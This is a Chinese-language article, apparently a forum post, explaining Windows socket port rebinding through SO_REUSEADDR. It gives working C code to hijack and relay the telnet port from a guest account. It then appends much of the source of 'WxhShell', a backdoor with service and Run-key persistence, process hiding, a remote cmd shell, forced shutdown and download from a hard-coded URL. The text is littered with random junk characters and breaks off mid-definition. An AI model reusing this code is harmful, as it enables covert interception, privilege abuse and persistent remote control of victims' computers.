在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'Q|M'5' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
JLnH&(O _wTOmz%|R saddr.sin_family = AF_INET;
sPr~=,F C<NLE- saddr.sin_addr.s_addr = htonl(INADDR_ANY);
oC<.=2] g<l1zo`_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
JSkLEa~< K~c=M",mW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}p}[j t }=%oX}[ 这意味着什么?意味着可以进行如下的攻击:
?{/4b:ua / :
L ?~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#yI
mKEYX d:#yEC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_2hS";K SG6kud\b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
GC>e26\: 2Z-ljD& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!Y$h"<M LgKaPg$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_Tf4WFu2 \#f<!R4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
UYk/v]ZA K?[q%W]% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xDG2ws=@D 4i6q{BeHn #include
u$>4F|=T #include
p~SClaR3H #include
wfNk=)^$ #include
RP~|PtLw_ DWORD WINAPI ClientThread(LPVOID lpParam);
tmv&U;0Z int main()
Fpm|_f7 {
@Fluc,Il WORD wVersionRequested;
`7 vHt` DWORD ret;
B|R@5mjm WSADATA wsaData;
?j40}
B]]d BOOL val;
9{(.Il J> SOCKADDR_IN saddr;
d9B]fi} SOCKADDR_IN scaddr;
I/a/)No int err;
8D>n1b(H SOCKET s;
:# .<[ SOCKET sc;
u])b,9&En int caddsize;
W~zbm] HANDLE mt;
v9:9E|,U+ DWORD tid;
le1}0L wVersionRequested = MAKEWORD( 2, 2 );
C69q&S, err = WSAStartup( wVersionRequested, &wsaData );
N!ls j
\- if ( err != 0 ) {
P#RR9>Q printf("error!WSAStartup failed!\n");
'JCZ]pZ return -1;
VXYK?Qc' }
uEktQ_u[ saddr.sin_family = AF_INET;
+@94;me U@HK+C"M| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
G`n_YH084 n2]/v{E;/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
hM;lp1l saddr.sin_port = htons(23);
<QA6/Ef7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Jl5c
[F {
xCg52zkH# printf("error!socket failed!\n");
ox(j^x]NC return -1;
jE}33" }
pnjXf.g"O val = TRUE;
C1jHz //SO_REUSEADDR选项就是可以实现端口重绑定的
ba[1wFmcL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
qHuZcht {
v-#Q7T printf("error!setsockopt failed!\n");
z`!XhU return -1;
%K>,xiD) }
V#XppYU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,{BaePMp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
b\3Oyp> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?98("T|y; ht2\ y&si if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
AfX}y+Ah {
,u+PyG7 cb ret=GetLastError();
QWD'!)Zb printf("error!bind failed!\n");
xD5:RE~g return -1;
L\@I*QP }
UJM1VAJ0 listen(s,2);
n;@bLJ$W while(1)
fDT%! {
z2g3FUTX)b caddsize = sizeof(scaddr);
VKq=7^W //接受连接请求
:pGaFWkvO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4Uphfzv3D if(sc!=INVALID_SOCKET)
o=50>$5jlS {
EK;YiJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
vr6MU< if(mt==NULL)
qv]}$WU {
vgsJeV`}I printf("Thread Creat Failed!\n");
V!lZ\) break;
g]4(g<:O
}
>Db;yC& }
Kla'lCZ CloseHandle(mt);
$6mX }
cki81bOT closesocket(s);
43mP]*=A WSACleanup();
te3}d'9&| return 0;
.!f$
\1l }
(-ufBYO6 DWORD WINAPI ClientThread(LPVOID lpParam)
MUTj-1 H6) {
iPd[l{85Z SOCKET ss = (SOCKET)lpParam;
BQ=PW|[ SOCKET sc;
g;2?F[8Th unsigned char buf[4096];
-o!$tI& SOCKADDR_IN saddr;
n/Sw P long num;
F
P* lQRA DWORD val;
%kS(LlL+6 DWORD ret;
)(ImLbM) //如果是隐藏端口应用的话,可以在此处加一些判断
1guJG_;z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
| N[<x@ saddr.sin_family = AF_INET;
t5y;CxL saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
NWMFtT saddr.sin_port = htons(23);
bYEy<7)x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
iV&6nh( {
x4E7X_ printf("error!socket failed!\n");
)n2 re?S return -1;
%Z):>' }
*=(lyx_O val = 100;
\QYFAa if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5*Y^\N {
j@SQ~AS ret = GetLastError();
$npT[~U5
return -1;
Dp)=0<$y }
8=NM|i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gj*+\3KO@a {
[co% :xJu ret = GetLastError();
U56G. return -1;
,n3a
gkPO> }
9%B\/&f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Dey<OE& {
G+X
Sfr printf("error!socket connect failed!\n");
xlA$:M& closesocket(sc);
uTKD 4yig closesocket(ss);
2QJ{a46} return -1;
,N!o }
2E}*v5b, while(1)
P_*" dza {
<Bw^!.jAF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
X!9 B2w //如果是嗅探内容的话,可以再此处进行内容分析和记录
#,":vr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
*7ZN]/VRT num = recv(ss,buf,4096,0);
a1_GIM0 if(num>0)
AlAY iUw{ send(sc,buf,num,0);
vb<oi&X else if(num==0)
Y8-86 *zC break;
f;W|\z' num = recv(sc,buf,4096,0);
LR".pH13 if(num>0)
nV -mPyfL8 send(ss,buf,num,0);
J&.{7YF else if(num==0)
PIdikA break;
" @v <Bk }
p<,*3huj closesocket(ss);
M$/|)U'W closesocket(sc);
1*9U1\z return 0 ;
}]lr>"~y} }
L"o>wYx gm igsXQ Z
-W(l< ==========================================================
>[*8I\*@n ykV
5 下边附上一个代码,,WXhSHELL
05b_)&4R A v2 08}Y ==========================================================
jRJn+ 0n;<
ge&~R #include "stdafx.h"
CG Y]r.O* -f% ' #include <stdio.h>
B0dQ@Hq* #include <string.h>
a&c6.#E{y #include <windows.h>
+l9!Fl{MK\ #include <winsock2.h>
Mxyb5h #include <winsvc.h>
glM$R &/ #include <urlmon.h>
nxWY7hU ]:Nsf|C0 #pragma comment (lib, "Ws2_32.lib")
Yu)NO\3& #pragma comment (lib, "urlmon.lib")
mOy^vMa ^c^#dpn #define MAX_USER 100 // 最大客户端连接数
Fcd3H$Na; #define BUF_SOCK 200 // sock buffer
ST:A<Da" #define KEY_BUFF 255 // 输入 buffer
IC1NKn<k yku5SEJ\ #define REBOOT 0 // 重启
0
q}*S~ #define SHUTDOWN 1 // 关机
vms|x wb a
yCY~=i #define DEF_PORT 5000 // 监听端口
y(CS5v#FG {khqu:HUn` #define REG_LEN 16 // 注册表键长度
5,_u/5Y4 #define SVC_LEN 80 // NT服务名长度
IsZHelg . 1KhBgy^K // 从dll定义API
QdL`| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o0ifp=V
y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
HCyv ]LR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ts\5uiB<% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
MZSy6v zsX1 QN16 // wxhshell配置信息
Z>)Bp/- struct WSCFG {
nExU#/*~^ int ws_port; // 监听端口
wO'TBP char ws_passstr[REG_LEN]; // 口令
YG@t5j#b int ws_autoins; // 安装标记, 1=yes 0=no
^p[rc@+ char ws_regname[REG_LEN]; // 注册表键名
?OcJ)5C4 char ws_svcname[REG_LEN]; // 服务名
$Tu61zq char ws_svcdisp[SVC_LEN]; // 服务显示名
iV'k}rXC char ws_svcdesc[SVC_LEN]; // 服务描述信息
/?@3.3sl_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
pGJ>O/% int ws_downexe; // 下载执行标记, 1=yes 0=no
uE%r/:!k4$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i~I%D%; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2NC.Z; bCo7*<I4 };
WY?[,_4U (.D~0a JU // default Wxhshell configuration
#gRM i)(F struct WSCFG wscfg={DEF_PORT,
l_o@miG/ "xuhuanlingzhe",
`|{-+m 1,
';3{T:I "Wxhshell",
7
n8"/0kc: "Wxhshell",
DJ'zz&K "WxhShell Service",
coW:DFX "Wrsky Windows CmdShell Service",
&;^YBW :I "Please Input Your Password: ",
}=< 1,
yE:+Lo`> "
http://www.wrsky.com/wxhshell.exe",
;j[>9g "Wxhshell.exe"
h"X;3b^ m };
.E`\MtA |bTPtrT8 // 消息定义模块
G`cHCP_n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ZrPbl"`7 char *msg_ws_prompt="\n\r? for help\n\r#>";
vHyC; 4' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
zHA!%>%' char *msg_ws_ext="\n\rExit.";
R3x3]]D char *msg_ws_end="\n\rQuit.";
jrr EAp char *msg_ws_boot="\n\rReboot...";
W>) M5t4i char *msg_ws_poff="\n\rShutdown...";
K^1o DP char *msg_ws_down="\n\rSave to ";
2bJQTk _S
tScPa,( char *msg_ws_err="\n\rErr!";
''yB5#^w( char *msg_ws_ok="\n\rOK!";
r_
I5.gK r[|Xy>Zj char ExeFile[MAX_PATH];
OLyf8&AU@ int nUser = 0;
gG0!C))8 HANDLE handles[MAX_USER];
/rWd=~[MO int OsIsNt;
3{'Ne}5%I 5rw 7;' SERVICE_STATUS serviceStatus;
[tlI!~Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
'(U-(wTC'/ Q# ~Q=T'< // 函数声明
_K]_
@Ivh int Install(void);
|2O]R s int Uninstall(void);
.+PI}[g int DownloadFile(char *sURL, SOCKET wsh);
u+Y\6~=+ int Boot(int flag);
z* ^_)Z void HideProc(void);
tr<Nm6! int GetOsVer(void);
Hx"ob_^'7 int Wxhshell(SOCKET wsl);
Q-_N2W? void TalkWithClient(void *cs);
CAfGH!l! int CmdShell(SOCKET sock);
Sc\*W0m int StartFromService(void);
u(@$a4z int StartWxhshell(LPSTR lpCmdLine);
$ `ov4W zd2)M@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
I(i}c~R VOID WINAPI NTServiceHandler( DWORD fdwControl );
~ksi</s KaPAa:Q // 数据结构和表定义
:flx6,7D SERVICE_TABLE_ENTRY DispatchTable[] =
cz
>V8 {
/)YNs7gR {wscfg.ws_svcname, NTServiceMain},
8<X#f
! {NULL, NULL}
B,?T% };
%KsEB*'" vx>b^tJKC // 自我安装
`7c~mypx int Install(void)
00(on28b {
cr%"$1sY; char svExeFile[MAX_PATH];
#eoome2Q HKEY key;
]O]4z,n strcpy(svExeFile,ExeFile);
Px4)>/ z, i6^twK)j // 如果是win9x系统,修改注册表设为自启动
`g(Y*uCp if(!OsIsNt) {
U;YC}r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[$mHv,~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{#ZlM RegCloseKey(key);
*:Y%HAy* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RSfQNc9Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<^VJy5> RegCloseKey(key);
[)H&'5 +F return 0;
,|3MG",@@h }
^X=arTE }
N4v~;;@(
}
NSxoF3 else {
n`#tKwWHYx H=<S 9M // 如果是NT以上系统,安装为系统服务
ND'E8Ke pq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
HJ9Kz^TnC if (schSCManager!=0)
t_o['F {
m4**~xfC SC_HANDLE schService = CreateService
~5NXd)2+Ks (
Z/W:97M schSCManager,
x3hB5p$q wscfg.ws_svcname,
.!Oo|m`V@ wscfg.ws_svcdisp,
nL5cK: SERVICE_ALL_ACCESS,
CuFSeRe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
J=\HO8E6> SERVICE_AUTO_START,
5&QJ7B,! SERVICE_ERROR_NORMAL,
?qP7Y nl svExeFile,
C_(
*>!Z% NULL,
!=pn77`g> NULL,
b,5~b&<h NULL,
ohRjvJ'v| NULL,
q3mJ782p] NULL
v_BcTzQ0S );
r)lEofX,g+ if (schService!=0)
8NxM4$nQX {
B}n,b#,* CloseServiceHandle(schService);
L9r8BK; CloseServiceHandle(schSCManager);
J*r*X. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?Y$JWEPJ strcat(svExeFile,wscfg.ws_svcname);
?iw!OoZ` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
o
m^0}$V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
A#K14Ayr RegCloseKey(key);
VQ(j pns5 return 0;
HguT"%iv }
_>5(iDW0 }
Vp#JS3Y CloseServiceHandle(schSCManager);
t#V!8EpBg }
(]Z_UTT }
0g
+7uGp: l}a)ZeR1 return 1;
AS!?q }
n4s+>|\M ./-5R|fN // 自我卸载
Q!o'}nA int Uninstall(void)
-C;^3R[
O {
Z
8S\@I HKEY key;
?h3Y)5x T ],>@";9u" if(!OsIsNt) {
?~l6K(*2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a+[RS]le RegDeleteValue(key,wscfg.ws_regname);
J28M@cn RegCloseKey(key);
Tre]"2l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;%B(_c RegDeleteValue(key,wscfg.ws_regname);
!F*5M1Kjd RegCloseKey(key);
c'^?/$H| return 0;
\MsTB|Z }
Umz KY }
<5-[{Q/2z }
(iBNZ7sJ else {
aEFJ;n7m 68NYIyTW9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`EEL1[:BR if (schSCManager!=0)
q2/pNV# {
c#XXp"7k2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!-z'2B*:^ if (schService!=0)
1A?W:'N {
HD@$t)mn if(DeleteService(schService)!=0) {
)YYf1o[+ CloseServiceHandle(schService);
)#EGTRdo CloseServiceHandle(schSCManager);
o~U$GBg return 0;
H7?Vy bg~ }
++bf#qS<8D CloseServiceHandle(schService);
HeK/7IAqp }
[/,) CloseServiceHandle(schSCManager);
8{|8G-Mi }
0Be<X }
)s)I2Z+ 4qphA9i1 return 1;
d:_t-ZZo }
3YeG$^y" P!$Zx)T // 从指定url下载文件
H_B4 int DownloadFile(char *sURL, SOCKET wsh)
qPWP&k {
q
VjdOY:z HRESULT hr;
e2L0VXbb char seps[]= "/";
6}Vf\j~ char *token;
9
3U_tQ&1? char *file;
nxY\|@ char myURL[MAX_PATH];
u9:`4b char myFILE[MAX_PATH];
Yw22z #K $Ad{Z strcpy(myURL,sURL);
Eav[/cU token=strtok(myURL,seps);
2`AY~i9 while(token!=NULL)
ucuSe!IcX {
:lX!\(E2 file=token;
H;D>|q token=strtok(NULL,seps);
Qwz}B }
v&Ii^?CvO _U$<xVnP GetCurrentDirectory(MAX_PATH,myFILE);
efSM`!%j strcat(myFILE, "\\");
NO2XA\ strcat(myFILE, file);
w4_ U0
n3 send(wsh,myFILE,strlen(myFILE),0);
z(o,m3@v send(wsh,"...",3,0);
O ~(pg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!ds"9w if(hr==S_OK)
5(Cl1Yse=r return 0;
JHW"-b else
D_?K"E=fw return 1;
,368d9,rDz #m lS}~n }
Hh%I0# Jx_cf9{ // 系统电源模块
9lTv
int Boot(int flag)
,K>I%_!1 {
y6@0O%TDN HANDLE hToken;
Q0$8j-1I TOKEN_PRIVILEGES tkp;
LU+3{O5y t^VwR=i if(OsIsNt) {
Bm.afsM; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
F^l[GdUosK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5VRYO"D: tkp.PrivilegeCount = 1;
|D'4uN8\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
lNNv|YiL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
sD<a+Lw}x if(flag==REBOOT) {
S,D8F&bg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
I\hh8abAp return 0;
l_3`G-`2 }
3NZK*!@' else {
s|@6S8E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-)s qc
P return 0;
KTK <gV9: }
(w&F/ynO: }
%/EVUN9= else {
/TE_W@?^ if(flag==REBOOT) {
UT>s5C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T _M!<J return 0;
JgG$?n\ }
agkA}O else {
5NBV[EP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
#XK2Ien)Z return 0;
M-\Y"]sW }
]5BX:% }
Ytgcs(
/$ $r@
=*( return 1;
R[Ll59- }
:#2Bw]z&z Kj V:| // win9x进程隐藏模块
"BD~xP( void HideProc(void)
%mL-$* {
YTAmgkF\4 R5"K]~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|b[+I?X if ( hKernel != NULL )
L9-h;] x! {
tM2)k+fg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
JROM_>mC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?:Mr=]sD FreeLibrary(hKernel);
Qg^cf<X{i }
Kfm5i Q 8'n/?.7cX return;
NIh:DbE }
hZ[E7=NTQ^ -7m:91x // 获取操作系统版本
!GOM5z, int GetOsVer(void)
EJ@?h(O {
h1:aKm! OSVERSIONINFO winfo;
J~=n`pW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>oea{u GetVersionEx(&winfo);
)S`jFQ1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ktI/3Mb@ return 1;
n 9\
C2r else
tc_286'x return 0;
j0Bu-sO$w }
W8Q|$ZJ88F iM2W] // 客户端句柄模块
wNq;;AJ$ int Wxhshell(SOCKET wsl)
&lR 6sb\ {
NxSu3e~PS SOCKET wsh;
+U_=*"@| struct sockaddr_in client;
*+'x~a DWORD myID;
Ny_lrfh) [ Z:ni$7<. while(nUser<MAX_USER)
1[kMOp {
nYWvTvZ int nSize=sizeof(client);
Z -,J)gW wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
KiRUvWqa if(wsh==INVALID_SOCKET) return 1;
]'5;|xc9$/ :!/gk8F|dI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
m7&O9?X if(handles[nUser]==0)
ANvR i+ _ closesocket(wsh);
b k|m4| else
.7zK@6i nUser++;
|M8WyW }
A"`foI$0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%cCs?ic "8'@3$>R= return 0;
3VuW#m#j }
6Z#\CixG ?aC'.jH+ // 关闭 socket
y[>;]R7' void CloseIt(SOCKET wsh)
)v]/B+ {
Av?2< closesocket(wsh);
\2nUa
; nUser--;
QF-LU
ExitThread(0);
UUF;p2{f }
ub7zA!% pX/n)q[ // 客户端请求句柄
zR
`EU, void TalkWithClient(void *cs)
~)qtply {
q ud\K+ Ad:TYpLD SOCKET wsh=(SOCKET)cs;
"oWwc
zzO char pwd[SVC_LEN];
MepuIh char cmd[KEY_BUFF];
U`,0]"Qk char chr[1];
FW) x:2BG int i,j;
m.px>v- _FXZm50\g{ while (nUser < MAX_USER) {
]E_h <WjF*x p if(wscfg.ws_passstr) {
Vm5c+; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Qd=^S^}( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V?Z.\~ //ZeroMemory(pwd,KEY_BUFF);
OS4q5;1# i=0;
#
S}Z8 while(i<SVC_LEN) {
7a#4tqM# e?`5>& Up // 设置超时
N-jTc?mT~& fd_set FdRead;
ET _W- struct timeval TimeOut;
N+LL@[ FD_ZERO(&FdRead);
=1O<E FD_SET(wsh,&FdRead);
O$D'.t TimeOut.tv_sec=8;
zS\E/.X2 TimeOut.tv_usec=0;
n8uv#DsdK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
I&MY{f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
xfy1pS.[: a^Tmu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
|fxA|/s[< pwd
=chr[0]; 0q.Ujm=,z
if(chr[0]==0xd || chr[0]==0xa) { vohoLeJTj
pwd=0; SfJA(v@E
break; N>Eqj>G
} *?y+e
i++; /EibEd\
} smdZxFl
"VkTY|a
// 如果是非法用户,关闭 socket tniDF>Rb
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lZyG)0t,g
} E Q4KV
Ct2j ZqCDo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #O$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AX?fuDLs
I8+~ &V}
while(1) { [cTe54n
HS{(v;
ZeroMemory(cmd,KEY_BUFF); *+TH#EL2
"jTKSgv+q5
// 自动支持客户端 telnet标准 nL$x|}XAcj
j=0; {GKy'/[
while(j<KEY_BUFF) {
b !%hH
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7M<'ddAN
cmd[j]=chr[0]; `W dD8E
if(chr[0]==0xa || chr[0]==0xd) { G2]4n T
cmd[j]=0; Z|_K6v/c
break; &;XAuDw4+i
} Eo\UAc
j++; '" X_B0k
} !(n4|Wd
V[}4L|ad
// 下载文件 Mva3+T
if(strstr(cmd,"http://")) { O(tX8P
Q5N
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }tH[[4tw,
if(DownloadFile(cmd,wsh)) nSF``pp+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uch>AuF:
else p8kr/uMP ;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UA4J>1 i
}
B3H|+
else { /;7y{(o
|J+(:{}~
switch(cmd[0]) { f;&]:2.j
Sr&515
// 帮助 -6tgsfEr
case '?': { 4Ue_Y'LmM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a 4=N9X
break; <+^6}8-
} 1iX)d)(b
// 安装 zaFt*~@X
case 'i': { %&->%U|'
if(Install()) ybeKiv9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yly@ww9t|
else ,h{A^[yl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {&P
FXJ
break; ? Zc"C
} R*oXmuOsYA
// 卸载 Vs)--t
case 'r': { >_c5r?]S G
if(Uninstall()) P+!"wX0*N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i]=&
else KjFK/Og.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ti2Ls5H}
break; `}m Q
} v?0r`<Mn
// 显示 wxhshell 所在路径 &-czStQ
case 'p': {
[U@*1
char svExeFile[MAX_PATH]; WYIQE$SEv
strcpy(svExeFile,"\n\r"); sK"9fU
strcat(svExeFile,ExeFile); yf?h#G%24
send(wsh,svExeFile,strlen(svExeFile),0); -*~CV:2iq-
break; N7b1.]<
} OdQT2PA_
// 重启 Qd_Y\PzS
case 'b': { hY*0aZ|(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &n[~!%(
if(Boot(REBOOT)) i\4hR?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KJ?y@Q
else { +B'8|5tPX
closesocket(wsh); FYb34LY
ExitThread(0); W(25TbQ
} 65oWD-
break; 2>]a)
} T/c<23i
// 关机 !Oj)B1gc6&
case 'd': { K.%U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c{>uqPTY
if(Boot(SHUTDOWN)) /w8"=6Vv~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQ'.8'>T
else { 0l=+$&D
closesocket(wsh); )-Ej5'iHr
ExitThread(0); ?!=iu!J
} }C
/]
break; :^'O}2NP
} b$Hz3TJ(
// 获取shell xq%{}
case 's': { >#}2J[2HQ
CmdShell(wsh); dl5=q\1=
closesocket(wsh); KQld YA|m
ExitThread(0); R8-^RvG
break; (f_g7B2&y
} PSRzrv$l
// 退出 vLa#Y("
case 'x': { ^*&X~8@)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =39 ?:VoD
CloseIt(wsh); EQIUSh)M
break; `p0ypi3hn
} A])P1c. 7"
// 离开 KECElK3uj
case 'q': { 2b=)6H1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); B51kV0
closesocket(wsh); LhzMAW<L4
WSACleanup(); RA],lNs
exit(1); >r)X:K+I
break; QC0!p"
} 3Db3xN
} ~P-*}q2J
} B/J&l
b@t5`Y-+K
// 提示信息 H]\Zn%.#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0rokR&Y-d
} 9p@C4oen
} ?/M_~e.P
m7=1%6FN3
return; 0IT@V5Gdj
} #hL*rbpT
j2M+]Zp.
// shell模块句柄 2X88:
int CmdShell(SOCKET sock) zTo8OPr
{ ~u&|G$1!0
STARTUPINFO si; W~ULc9
ZeroMemory(&si,sizeof(si)); 6QZ5|T ]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~|Z'l%<Os
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s?3i)Ymr
PROCESS_INFORMATION ProcessInfo; !umEyd@ "
char cmdline[]="cmd"; m"-[".-l-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [9mL $;M
W
return 0; G",.,Px
} K?u(1
+m,!e*g
// 自身启动模式 ?@R")$
int StartFromService(void) :XV}
c(+d
{ DlyMJ#a
typedef struct K3mAXC,d
{ ?Qqd "=k4
DWORD ExitStatus; K(T\9J.
DWORD PebBaseAddress; 'GJVWpvUU
